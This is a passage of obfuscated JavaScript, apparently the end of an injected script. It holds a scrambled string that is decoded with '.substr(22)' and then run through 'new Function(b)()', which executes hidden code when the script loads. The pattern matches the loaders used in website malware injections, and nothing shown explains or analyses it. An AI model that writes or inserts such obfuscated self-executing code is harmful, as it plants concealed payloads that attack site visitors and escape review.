Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();